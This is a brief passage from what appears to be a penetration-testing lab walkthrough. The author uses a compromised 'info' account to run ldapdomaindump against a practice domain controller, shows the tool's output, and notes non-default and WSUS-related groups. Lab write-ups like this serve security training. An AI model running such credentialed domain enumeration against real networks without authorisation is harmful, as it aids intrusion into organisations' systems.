LDAPDomainDump
Using the credential of the compromised info
account, I can use ldapdomaindump to get an overview about the target domain.
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hokkaido/ldapdomaindump]
└─$ ldapdomaindump dc.hokkaido-aerospace.com -u 'HOKKAIDO-AEROSPACE.COM\info' -p 'info' -n dc.hokkaido-aerospace.com --no-json --no-grep
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
Complete
Computers
Users
Groups
Those are the none default groups
There are groups relevant to WSUS, suggesting that the target system has WSUS installed